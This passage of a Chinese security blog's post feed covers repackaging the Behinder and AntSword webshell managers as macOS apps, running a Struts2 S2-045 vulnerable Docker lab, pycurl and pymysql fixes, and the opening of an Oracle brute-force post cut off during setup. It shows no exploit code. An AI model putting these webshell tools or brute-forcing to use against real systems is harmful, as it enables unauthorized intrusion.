<p>解压Behinder.jar文件，将解压出来的ShellManager.class文件替换成新编译出来的ShellManager.class文件。替换完成之后，使用压缩软件将其压缩成zip。将文件后缀修改成jar，在终端下运行，看能否成功运行。Ps：记得在Behinder.jar文件同级目录需要有一个data.db；这里有个问题，我用BetterZip将其压缩成zip之后，修改后缀无法运行，使用BandiZip（Windows）压缩可以，猜测有可能是软件压缩机制或者操作系统的问题。也可以使用jar命令进行打包。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">jar -cfm Behinder.jar ./META-INF/MANIFEST.MF .<span class="comment">/*</span></span><br></pre></td></tr></table></figure>

<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">java -XstartOnFirstThread -jar Behinder.jar</span><br></pre></td></tr></table></figure>

<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c65434.png" alt="运行成功"></p>
<p>可以成功运行，在使用jar2app命令将其打包成app</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">jar2app Behinder.jar -j &quot;-XstartOnFirstThread&quot; -r /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk</span><br></pre></td></tr></table></figure>

<p>将data.db文件移动到Behinder.app&#x2F;Contents即可成功运行。</p>
<h2 id="生成带有图标的APP"><a href="#生成带有图标的APP" class="headerlink" title="生成带有图标的APP"></a>生成带有图标的APP</h2><p>上面生成的app是没有图标的，jar2app有-i参数支持图标生成。直接将Behinder.jar文件的net&#x2F;rebeyond&#x2F;behinder&#x2F;resource目录下的logo.jpg拿出来。使用<span class="exturl" data-url="aHR0cHM6Ly9pY29udmVydGljb25zLmNvbS9vbmxpbmUv">ICON在线转换<i class="fa fa-external-link-alt"></i></span>，这里需要注意的是下载的文件格式应该为icns，并非是icon。</p>
<p>使用如下命令即可生成一个带有logo图标的Behinder.app文件。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">jar2app Behinder.jar -j <span class="string">&quot;-XstartOnFirstThread&quot;</span> -r <span class="regexp">/Library/</span>Java<span class="regexp">/JavaVirtualMachines/</span>jdk1.<span class="number">8.0</span>_181.jdk -i logo.icns</span><br></pre></td></tr></table></figure>

<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这里面踩了无数个坑，反反复复好长一段时间才解决。</p>
<ol>
<li>工具记得多读手册，例如在这里用的jar2app直接在GitHub上面多读手册，基本问题都能解决；</li>
<li>实现同样功能的不同函数，在使用时需要按照需求进行使用。例如这里的File().exists()与File.getAbsoluteFile()，不同函数名总有会不一样的地方，直接平时只是为了实现功能而忽略其本质，有时候出现问题的时候需要深入了解其本质；</li>
<li>在处理问题过程中使用到软件工具出现问题时，可不进行任何修改重复使用软件进行问题定位。例如这里的BetterZip压缩之后无法运行，我是通过直接解压缩-压缩-运行将这个问题定位出来的。</li>
</ol>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>工具环境</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>使用electron-build打包</title>
    <url>/archives/221b42d4.html</url>
    <content><![CDATA[<p>在Mac上运行electron框架程序（例如Antsword、CaptfEncoder等）每次都需要<code>npm start</code>，感觉太繁琐了。因此，想打包成app方便使用。成功打包效果图如下，这里给大家提供打包出来的dmg包。<br>Antsword链接:<span class="exturl" data-url="aHR0cHM6Ly9wYW4uYmFpZHUuY29tL3MvMVo0TndBTXdjT2Fkb2Y5M18xbmE4bUE=">https://pan.baidu.com/s/1Z4NwAMwcOadof93_1na8mA<i class="fa fa-external-link-alt"></i></span>  密码:eokx<br><a href="https://i.loli.net/2018/08/22/5b7d0a4cea9c2.png"><img data-src="https://i.loli.net/2018/08/22/5b7d0a4cea9c2.png" alt="antsword-success.png"></a><br>CaptfEncoder链接:<span class="exturl" data-url="aHR0cHM6Ly9wYW4uYmFpZHUuY29tL3MvMVA0Vl9Pc09Jc0t1MjU4WGJVQUUtWnc=">https://pan.baidu.com/s/1P4V_OsOIsKu258XbUAE-Zw<i class="fa fa-external-link-alt"></i></span>  密码:659d<br><a href="https://i.loli.net/2018/11/14/5beb8abf3a945.png"><img data-src="https://i.loli.net/2018/11/14/5beb8abf3a945.png" alt="CaptfEncoder.png"></a></p>
<span id="more"></span>
<p>本文以Antsword为例。</p>
<h1 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h1><p>安装<span class="exturl" data-url="aHR0cHM6Ly9icmV3LnNoLw==">brew<i class="fa fa-external-link-alt"></i></span></p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/usr/bin/ruby -e <span class="string">&quot;<span class="subst">$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)</span>&quot;</span></span><br><span class="line">brew --version</span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/08/22/5b7ce3753387f.png"><img data-src="https://i.loli.net/2018/08/22/5b7ce3753387f.png" alt="brew--version.png"></a><br>安装<span class="exturl" data-url="aHR0cHM6Ly9ub2RlanMub3JnL2VuLw==">node<i class="fa fa-external-link-alt"></i></span></p>
<figure class="highlight crmsh"><table><tr><td class="code"><pre><span class="line">brew install <span class="keyword">node</span></span><br><span class="line"><span class="title">node</span> --<span class="keyword">version</span></span><br><span class="line">npm --<span class="keyword">version</span></span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/08/22/5b7ce3769f69d.png"><img data-src="https://i.loli.net/2018/08/22/5b7ce3769f69d.png" alt="node--version.png"></a><br>安装<span class="exturl" data-url="aHR0cHM6Ly95YXJucGtnLmNvbS8=">yarn<i class="fa fa-external-link-alt"></i></span></p>
<figure class="highlight mipsasm"><table><tr><td class="code"><pre><span class="line"><span class="keyword">brew </span><span class="keyword">install </span>yarn</span><br><span class="line">yarn --version</span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/08/22/5b7ce3c47b5c3.png"><img data-src="https://i.loli.net/2018/08/22/5b7ce3c47b5c3.png" alt="yarn--version.png"></a><br>安装<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2VsZWN0cm9uLXVzZXJsYW5kL2VsZWN0cm9uLWJ1aWxkZXIjaW4tc2hvcnQ=">electron-builder<i class="fa fa-external-link-alt"></i></span>，安装成功之后需要建立软连接</p>
<figure class="highlight gradle"><table><tr><td class="code"><pre><span class="line">yarn add electron-builder -dev</span><br><span class="line">sudo <span class="keyword">find</span> / -name electron-builder</span><br><span class="line">ln -s <span class="regexp">/Users/</span>hywell<span class="regexp">/node_modules/</span>.bin<span class="regexp">/electron-builder /u</span>sr<span class="regexp">/local/</span>bin/electron-builder</span><br><span class="line">elecctron-builder --version</span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/08/22/5b7ce3c47a28f.png"><img data-src="https://i.loli.net/2018/08/22/5b7ce3c47a28f.png" alt="electron-builder--version.png"></a><br>下载蚁剑，安装依赖并启动</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">git clone https:<span class="regexp">//gi</span>thub.com<span class="regexp">/AntSwordProject/</span>antSword.git</span><br><span class="line">cd antSword</span><br><span class="line">npm install</span><br><span class="line">npm start</span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/08/22/5b7ce408c330a.png"><img data-src="https://i.loli.net/2018/08/22/5b7ce408c330a.png" alt="antSword.png"></a></p>
<h1 id="打包"><a href="#打包" class="headerlink" title="打包"></a>打包</h1><p>修改antSword目录下的package.json，结构如下：</p>
<figure class="highlight swift"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;name&quot;</span>: <span class="string">&quot;antsword&quot;</span>,</span><br><span class="line">  <span class="string">&quot;version&quot;</span>: <span class="string">&quot;1.3.0&quot;</span>,</span><br><span class="line">  <span class="string">&quot;description&quot;</span>: <span class="string">&quot;中国蚁剑是一款跨平台的开源网站管理工具&quot;</span>,</span><br><span class="line">  <span class="string">&quot;main&quot;</span>: <span class="string">&quot;app.js&quot;</span>,</span><br><span class="line">  <span class="string">&quot;build&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;appId&quot;</span>: <span class="string">&quot;1.0&quot;</span>,</span><br><span class="line">    <span class="string">&quot;mac&quot;</span>: &#123; <span class="comment">//添加设置mac下的配置</span></span><br><span class="line">      <span class="string">&quot;category&quot;</span>: <span class="string">&quot;public.app-category.developer-tools&quot;</span>,</span><br><span class="line">      <span class="string">&quot;target&quot;</span>: [</span><br><span class="line">        <span class="string">&quot;dmg&quot;</span></span><br><span class="line">      ]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;scripts&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;start&quot;</span>: <span class="string">&quot;electron app.js&quot;</span>,</span><br><span class="line">    <span class="string">&quot;build&quot;</span>: <span class="string">&quot;npm start&quot;</span>,</span><br><span class="line">    <span class="string">&quot;pack&quot;</span>: <span class="string">&quot;electron-builder --dir&quot;</span>,</span><br><span class="line">    <span class="string">&quot;dist&quot;</span>: <span class="string">&quot;electron-builder&quot;</span> <span class="comment">// 添加用于执行dist命令</span></span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;author&quot;</span>: <span class="string">&quot;antoor &lt;u@uyu.us&gt;&quot;</span>,</span><br><span class="line">  <span class="string">&quot;license&quot;</span>: <span class="string">&quot;MIT&quot;</span>,</span><br><span class="line">  <span class="string">&quot;repository&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;type&quot;</span>: <span class="string">&quot;git&quot;</span>,</span><br><span class="line">    <span class="string">&quot;url&quot;</span>: <span class="string">&quot;https://github.com/antoor/antSword&quot;</span></span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;debug&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="string">&quot;update&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;md5&quot;</span>: <span class="string">&quot;184c9217b01513647ccfaad49e795cfe&quot;</span>,</span><br><span class="line">    <span class="string">&quot;logs&quot;</span>: <span class="string">&quot;移除webpack以及其他不必要的依赖，直接无需编译即可执行ES6代码<span class="subst">\n</span>更新美化关于页面<span class="subst">\n</span>重构modules/request.js后端数据请求模块<span class="subst">\n</span>添加 aspx hex encoder 支持<span class="subst">\n</span>修正custom shell 读取自身时数据被截断的 bug<span class="subst">\n</span>增加php中的mysql数据库模板，用于不支持使用mysqli的服务器<span class="subst">\n</span>以及其他小部分的代码重构优化&quot;</span>,</span><br><span class="line">    <span class="string">&quot;sources&quot;</span>: &#123;</span><br><span class="line">      <span class="string">&quot;coding.net&quot;</span>: <span class="string">&quot;https://coding.net/api/share/download/c405db5d-6fdb-4078-9326-32cd86c392a3&quot;</span>,</span><br><span class="line">      <span class="string">&quot;github&quot;</span>: <span class="string">&quot;https://github.com/antoor/antSword/releases/download/1.3.0/update.zip&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;bugs&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;url&quot;</span>: <span class="string">&quot;https://github.com/antoor/antSword/issues&quot;</span></span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;homepage&quot;</span>: <span class="string">&quot;http://uyu.us&quot;</span>,</span><br><span class="line">  <span class="string">&quot;postinstall&quot;</span>: <span class="string">&quot;electron-builder install-app-deps&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>在antSword目录下新建一个app文件夹，将antSword目录下所有文件迁移到app文件夹下(<font color=red>保证原有结构不变</font>)。结构如下:<br><a href="https://i.loli.net/2018/08/22/5b7d0d736d8a4.png"><img data-src="https://i.loli.net/2018/08/22/5b7d0d736d8a4.png" alt="tree -L 2 -C.png"></a><br>在里面新建一个package.json文件，结构如下:</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;name&quot;</span>: <span class="string">&quot;antsword&quot;</span>,</span><br><span class="line">    <span class="string">&quot;version&quot;</span>: <span class="string">&quot;1.3.0&quot;</span>,</span><br><span class="line">    <span class="string">&quot;main&quot;</span>: <span class="string">&quot;app.js&quot;</span>,</span><br><span class="line">    <span class="string">&quot;description&quot;</span>: <span class="string">&quot;antsword-MacOS&quot;</span>,</span><br><span class="line">    <span class="string">&quot;author&quot;</span>: <span class="string">&quot;antoor &lt;u@uyu.us&gt;&quot;</span>,</span><br><span class="line">    <span class="string">&quot;dependencies&quot;</span>: &#123; <span class="regexp">//</span> 将上个文件的依赖迁移</span><br><span class="line">        <span class="string">&quot;babel&quot;</span>: <span class="string">&quot;^5.2.17&quot;</span>,</span><br><span class="line">        <span class="string">&quot;extract-zip&quot;</span>: <span class="string">&quot;^1.5.0&quot;</span>,</span><br><span class="line">        <span class="string">&quot;geoips&quot;</span>: <span class="string">&quot;0.0.1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;iconv-lite&quot;</span>: <span class="string">&quot;^0.4.13&quot;</span>,</span><br><span class="line">        <span class="string">&quot;log4js&quot;</span>: <span class="string">&quot;^0.6.29&quot;</span>,</span><br><span class="line">        <span class="string">&quot;nedb&quot;</span>: <span class="string">&quot;^1.5.1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;nugget&quot;</span>: <span class="string">&quot;^2.0.0&quot;</span>,</span><br><span class="line">        <span class="string">&quot;superagent&quot;</span>: <span class="string">&quot;^3.8.3&quot;</span>,</span><br><span class="line">        <span class="string">&quot;superagent-proxy&quot;</span>: <span class="string">&quot;^1.0.0&quot;</span>,</span><br><span class="line">        <span class="string">&quot;through&quot;</span>: <span class="string">&quot;^2.3.8&quot;</span></span><br><span class="line">      &#125;,</span><br><span class="line">    <span class="string">&quot;devDependencies&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;electron-prebuilt&quot;</span>: <span class="string">&quot;^0.37.2&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>在antSword目录下,执行命令将其打包。</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><span class="line"><span class="attribute">yarn dist</span></span><br></pre></td></tr></table></figure>
<p>完成之后会生成一个dist目录，在目录中就有成功打包的antSword。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这次耗费了大半天的时间,查阅了无数资料,发现还是官方的文档最好!</p>
<ol>
<li>elecctron-builder打包程序时，需要建立一个app文件夹&amp;两个package.json（一个作为打包使用，一个作为项目使用）;</li>
<li>elecctron-builder打包程序时，把所有程序的资源文件、代码文件等都放到app文件夹下；</li>
<li>遇到<code>cannot unpack electron zip file, will be re-downloaded error=zip: not a valid zip file</code>，请删除缓存<code>rm -rf ~/Library/Caches/electron/</code></li>
<li>编译出来的程序无法正常运行，可通过运行dist(release)&#x2F;mac&#x2F;xxxx.app&#x2F;Contents&#x2F;MacOS&#x2F;xxxx，查看错误信息以便定位问题；</li>
<li>两个package.json的区别，根据我的理解（不一定正确，大家可以看官方文档），最外层的package.json是打包的配置信息，里层的package.json为项目的配置信息。因此依赖（dependencies、devDependencies）写在里面package.json。</li>
</ol>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>工具环境</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>漏洞环境搭建</title>
    <url>/archives/583f4516.html</url>
    <content><![CDATA[<p>　在进行安全测试的时候，经常需要搭建各种各样、不同配置的漏洞环境。有时候一天不到就能搞定，有时候两三天都没成功。后来发现一个神器:Docer，结合GitHub上面的漏洞靶场可以通过几条命令就能成功”搭建”一个漏洞环境。</p>
<span id="more"></span>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p>　本文选用Debian作为操作环境。大家也可以根据自己的操作系统，安装对应Docker。大家可以去<span class="exturl" data-url="aHR0cHM6Ly93d3cuZG9ja2VyLmNvbS8=">Docker官网<i class="fa fa-external-link-alt"></i></span>查看如何安装，也可以去<span class="exturl" data-url="aHR0cDovL3d3dy5kb2NrZXIub3JnLmNuL2Jvb2svaW5zdGFsbC9zdXBwb3J0ZWQtcGxhdGZvcm0tMTcuaHRtbA==">Docker中文<i class="fa fa-external-link-alt"></i></span>看如何安装。</p>
<h3 id="安装Docker"><a href="#安装Docker" class="headerlink" title="安装Docker"></a>安装Docker</h3><p>　安装Docker之前需要在&#x2F;etc&#x2F;apt&#x2F;sources.list文件中添加backports源。使用Vim命令。(下面所有命令建议在root权限下执行，要不然请在命令前加sudo。)</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">vim <span class="regexp">/etc/</span>apt/sources.list</span><br></pre></td></tr></table></figure>
<p>　添加<code>deb http://http.debian.net/debian jessie-backports main</code>，执行更新操作。</p>
<figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">apt-<span class="keyword">get</span> <span class="keyword">update</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59910c63e2518.png" alt="apt-get update.png"><br>　成功更新之后，安装docker.io。</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line">apt-<span class="built_in">get</span> install docker.io</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59910f677c8d5.png" alt="apt-get install docker.io.png"><br>　查看Docker版本信息。</p>
<figure class="highlight ada"><table><tr><td class="code"><pre><span class="line">docker <span class="comment">--version</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/599117af1e74b.png" alt="docker version.png"></p>
<h3 id="添加漏洞环境"><a href="#添加漏洞环境" class="headerlink" title="添加漏洞环境"></a>添加漏洞环境</h3><p>　接下来就可以使用Docer添加对应的漏洞环境，那么漏洞环境在哪里找勒？这里我推荐两个地址:<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3BoaXRoMG4vdnVsaHVi">phith0h<i class="fa fa-external-link-alt"></i></span>、<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01lZGljZWFuL1Z1bEFwcHM=">Medicean<i class="fa fa-external-link-alt"></i></span>。<br>　这里我以Struts2-S2-045为例：[S2-045][<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01lZGljZWFuL1Z1bEFwcHMvdHJlZS9tYXN0ZXIvcy9zdHJ1dHMyL3MyLTA0NV0lRTMlODAlODI=">https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-045]。<i class="fa fa-external-link-alt"></i></span><br>　将环境下载到本地，如果使用命令无法成功下载，那么多下载几次或者设置一下代理(你懂的)。</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker</span> pull medicean/vulapps:s_struts2_s2-<span class="number">045</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/599119aa146fa.png" alt="docker pull.png"><br>　下载完成之后，启动环境。-p后面的参数是将容器的端口映射到本机的端口，-p 80:8080就是将容器的8080端口映射到本机的80端口，可以自定义修改。</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker</span> run -d -p <span class="number">80</span>:<span class="number">8080</span> medicean/vulapps:s_struts2_s2-<span class="number">045</span></span><br></pre></td></tr></table></figure>
<h3 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h3><p>　使用Exploit工具复现S2-045漏洞。<br><img data-src="https://i.loli.net/2017/08/14/599118e97fa7c.png" alt="exploit.png"></p>
<h2 id="Docker常用命令"><a href="#Docker常用命令" class="headerlink" title="Docker常用命令"></a>Docker常用命令</h2><p>　查看所有镜像。</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker images</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/599119541645f.png" alt="docker images.png"><br>　拉取镜像。</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker pull</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/599119aa146fa.png" alt="docker pull.png"><br>　保存镜像。</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker</span> save medicean/vulapps:s_struts2_s2-<span class="number">045</span> &gt; /tmp/s2-<span class="number">045</span>.tar</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59911a3e90e51.png" alt="docker save.png"><br>　加载镜像。</p>
<figure class="highlight arcade"><table><tr><td class="code"><pre><span class="line">docker load &lt; <span class="regexp">/tmp/</span>s2<span class="number">-045.</span>tar</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59911aac6d77c.png" alt="docker load.png"><br>　查看正在运行的容器。</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker ps</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59911b3acb2c4.png" alt="docker ps.png"><br>　停止容器，使用docker ps查看的id来停止对应容器。</p>
<figure class="highlight arduino"><table><tr><td class="code"><pre><span class="line">docker stop ddedb0cd35e5</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59911bea2acf5.png" alt="docker stop.png"><br>　启动容器。</p>
<figure class="highlight crmsh"><table><tr><td class="code"><pre><span class="line">docker <span class="literal">start</span> ddedb0cd35e5</span><br></pre></td></tr></table></figure>
<p>　关闭容器。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker <span class="built_in">kill</span> ddedb0cd35e5</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59911c355130b.png" alt="docker kill.png"><br>　删除镜像，如果不知道id可以使用Tab键来进行补全查看。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker <span class="built_in">rm</span> <span class="built_in">id</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/14/59911d4829cb9.png" alt="docker rm.png"></p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>　使用Docker虽然可以快速的部署漏洞环境，但是这样不容易理解一些由于配置问题导致的漏洞。因此，建议在新漏洞出现之后使用Docker快速复现完成后，自己手工搭建一遍。</p>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>工具环境</category>
      </categories>
      <tags>
        <tag>漏洞环境</tag>
      </tags>
  </entry>
  <entry>
    <title>MacOS python2 pycurl安装</title>
    <url>/archives/366a0bef.html</url>
    <content><![CDATA[<p>MacOS安装pycurl的时候出了一堆问题：SSL、Permitted等，用网上的一堆方法都无法成功安装。最后，通过查看pycurl官网文档、网上资料结合，终于安装成功！<br><img data-src="https://i.loli.net/2018/08/20/5b7a9015e7522.png" alt="python pycurl.png"></p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>一开始使用easy_install、pip两种安装方式都会遇到SSL报错。查询网上资料，指定openssl的环境变量并指定使用openssl安装也无法解决。<br><img data-src="https://i.loli.net/2018/08/20/5b7a91f09666a.png" alt="pycurl ssl 报错.png"></p>
<h1 id="解决过程"><a href="#解决过程" class="headerlink" title="解决过程"></a>解决过程</h1><p>下载<span class="exturl" data-url="aHR0cHM6Ly9kbC5iaW50cmF5LmNvbS9weWN1cmwvcHljdXJsL3B5Y3VybC03LjQzLjAuMi50YXIuZ3o=">pycurl源码<i class="fa fa-external-link-alt"></i></span>，解压到对应目录。<br><code>sudo python setup.py install --with-openssl --openssl-dir=/usr/local/opt/openssl</code><br>其中”openssl-dir”需要根据自身电脑安装路径进行设置。<br><img data-src="https://i.loli.net/2018/08/20/5b7a93586d03d.png" alt="permitted不够.png"><br>使用上诉命令会出现权限不够的问题，通过添加–user可以解决。<br><code>sudo python setup.py install --with-openssl --openssl-dir=/usr/local/opt/openssl --user</code><br><img data-src="https://i.loli.net/2018/08/20/5b7a93662dcc8.png" alt="success.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>MacOS安装东西真麻烦！！！</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>pycurl</tag>
        <tag>python2</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-Pymysql中文写入</title>
    <url>/archives/40673788.html</url>
    <content><![CDATA[<p>python27的编码是一大难点，然而这次的难点并不是在于python，而在于数据库。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近在使用Pymysql向mysql数据库写入中文时，发现出现Warning:(1366, u”Incorrect string value: ‘\x······”)<br><img data-src="https://i.loli.net/2018/01/11/5a571e468a843.png" alt="pymysql_warning.png"><br>数据库里面的结果为乱码<br><img data-src="https://i.loli.net/2018/01/11/5a571e444864a.png" alt="database_result.png"></p>
<h1 id="解决思路"><a href="#解决思路" class="headerlink" title="解决思路"></a>解决思路</h1><p>看到中文乱码，马上就想到编码问题。该问题共涉及到三处编码（有可能还多，想不出来了）：数据库编码、数据来源编码、脚本连接编码。由于数据来源编码能肯定为Unicode，因此需要从脚本连接编码、数据库编码去解决。</p>
<h1 id="解决历程"><a href="#解决历程" class="headerlink" title="解决历程"></a>解决历程</h1><h2 id="脚本连接编码"><a href="#脚本连接编码" class="headerlink" title="脚本连接编码"></a>脚本连接编码</h2><p>由于pymysql支持charset字段，下意识想到通过charset参数进行设置。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">import pymysql<span class="selector-class">.cursors</span></span><br><span class="line"> </span><br><span class="line">config = &#123;</span><br><span class="line">          <span class="string">&#x27;host&#x27;</span>:<span class="string">&#x27;127.0.0.1&#x27;</span>,</span><br><span class="line">          <span class="string">&#x27;port&#x27;</span>:<span class="number">3306</span>,</span><br><span class="line">          <span class="string">&#x27;user&#x27;</span>:<span class="string">&#x27;root&#x27;</span>,</span><br><span class="line">          <span class="string">&#x27;password&#x27;</span>:<span class="string">&#x27;&#x27;</span>,</span><br><span class="line">          <span class="string">&#x27;db&#x27;</span>:<span class="string">&#x27;test&#x27;</span>,</span><br><span class="line">          <span class="string">&#x27;charset&#x27;</span>:<span class="string">&#x27;utf8mb4&#x27;</span>,</span><br><span class="line">          <span class="string">&#x27;cursorclass&#x27;</span>:pymysql<span class="selector-class">.cursors</span><span class="selector-class">.DictCursor</span>,</span><br><span class="line">          &#125;</span><br><span class="line">connection = pymysql<span class="selector-class">.connect</span>(**config)</span><br></pre></td></tr></table></figure>
<p>然后重新运行脚本，发现并没有解决。</p>
<h2 id="数据库编码"><a href="#数据库编码" class="headerlink" title="数据库编码"></a>数据库编码</h2><p>查看数据库编码，发现数据库默认编码为latin1。</p>
<figure class="highlight gams"><table><tr><td class="code"><pre><span class="line">show <span class="keyword">variables</span> like <span class="comment">&quot;char%&quot;</span>;</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/11/5a571f33ca7f4.png" alt="mysql_charset.png"><br>找到问题所在就方便了！修改database编码即可。<br>由于我使用的是debian，需要修改&#x2F;etc&#x2F;mysql&#x2F;my.cnf文件。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">vim <span class="regexp">/etc/my</span>sql/my.cnf</span><br></pre></td></tr></table></figure>
<p>在[mysqld]字段下面添加character-set-server&#x3D;utf8，保存并重启mysql服务即可。<br><img data-src="https://i.loli.net/2018/01/11/5a5720f7adad4.png" alt="my_cnf_set.png"><br>重新查询数据库编码。<br><img data-src="https://i.loli.net/2018/01/11/5a572256e9607.png" alt="database_charset.png"><br>美滋滋的运行代码，发现还是Warning！！！</p>
<h2 id="最终解决"><a href="#最终解决" class="headerlink" title="最终解决"></a>最终解决</h2><p>在修改了数据库编码以为脚本可以成功运行的时候，现实跟我说too young！后面兜兜转转，发现重新建立数据库即可！</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>Python27遇到中文的时候，需要特别注意编码；</li>
<li>Python进行数据交互的时候，每个地方的编码都需要注意；</li>
<li>配置修改之后，一定要刷新或者新建！！！</li>
</ol>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>编码</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-Oracle爆破</title>
    <url>/archives/209eed3d.html</url>
    <content><![CDATA[<p>做渗透的时候遇到Oracle端口对外开放，用python编写脚本去自动爆破，爆破成功就是拿下数据库。</p>
<span id="more"></span>
<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><h2 id="Oracle安装"><a href="#Oracle安装" class="headerlink" title="Oracle安装"></a>Oracle安装</h2><p>去Oracle官网下载Oracle Database 11g，<span class="exturl" data-url="aHR0cDovL3d3dy5vcmFjbGUuY29tL3RlY2huZXR3b3JrL2RhdGFiYXNlL2VudGVycHJpc2UtZWRpdGlvbi9kb3dubG9hZHMvaW5kZXguaHRtbA==">下载地址<i class="fa fa-external-link-alt"></i></span>。我这边下载Windows版本进行安装，两个文件都要下载，下载完成之后全部选中解压。<br><img data-src="https://i.loli.net/2017/09/27/59cb605fa2d3e.png" alt="下载.png"><br>解压之后，运行setup.exe。取消【我希望通过My Oracle Support接受安全更新】勾选，点下一步。<br><img data-src="https://i.loli.net/2017/09/27/59cb626e2d06c.png" alt="Oracle安装1.png"><br>会跳出一个提示，直接点击【是】即可。<br><img data-src="https://i.loli.net/2017/09/27/59cb62a8c028f.png" alt="Oracle安装2.png"><br>选择【创建和配置数据库】。<br><img data-src="https://i.loli.net/2017/09/27/59cb62d879f46.png" 